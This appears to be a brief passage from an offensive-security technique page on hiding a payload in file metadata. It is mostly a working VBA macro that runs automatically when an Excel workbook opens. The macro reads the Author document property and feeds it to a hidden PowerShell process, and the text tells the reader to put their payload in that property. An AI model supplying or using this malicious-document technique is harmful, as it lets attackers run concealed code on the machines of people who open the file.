File metadata

I haven't researched how to do this in c++, but you can use file properties in a macro to hide your payload. This one gets the payload in the author property.

Private Sub Workbook_Open()
    Dim author As String
    author = ActiveWorkbook.BuiltinDocumentProperties("Author")
    
    Dim ws As Object
    Set ws = CreateObject("WScript.Shell")
    
    With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -")
        .StdIn.WriteLine author
        .StdIn.WriteBlankLines 1
        .Terminate
    End With
End Sub

Make sure to manually place your payload in the Author property.

Last updated